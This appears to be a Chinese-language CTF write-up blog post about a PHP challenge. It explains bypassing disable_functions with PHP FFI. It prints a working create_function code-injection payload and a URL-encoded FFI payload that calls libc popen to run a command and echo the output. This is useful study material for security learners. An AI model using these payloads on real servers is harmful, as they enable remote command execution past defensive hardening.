利用FFI来绕过disable_functions
这篇文章虽然叫利用FFI来绕过disable_functions其实还是想了解一下php的FFI,主要是在打单身杯时遇到了,java的Native方法来执行so文件即执行C语言代码,从而绕过Java Security Manager。二php的FFI也是php运行其他语言代码的一种方法
[极客大挑战 2020]Roamphp5-FighterFightsInvincibly
打开源码可以看到1
$_REQUEST['fighter']($_REQUEST['fights'],$_REQUEST['invincibly']);
我们可以尝试使用creat_function注入的方式来进行命令执行1
fighter=create_function&fights=&invincibly=};phpinfo();/*
我们查看其disable_functions
可以发现其几乎将能命令执行的函数都禁了一遍
试了一下可以拿蚁剑绕…但这都不是问题
蚁剑的FFI竟然绕不过,我们就手动用FFI来绕
我们既然要回显内容,那么我们就需要找到一个c语言函数可以返回的内容为命令执行的结果,
AI给出了一些方法,我们这里就用popen加fgetc的方法来将我们的内容输出1
$ffi+%3d+FFI%3a%3acdef("void+*popen(char*,char*)%3b+int+fgetc(void*)%3b+void+pclose(void*)%3b",+"libc.so.6")%3b$b%3d$ffi->popen("/readflag","r")%3bwhile+(($c+%3d+$ffi->fgetc($b))+!%3d+-1){echo+chr($c)%3b}
当然也可以使用蚁剑来执行
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 L的博客!
评论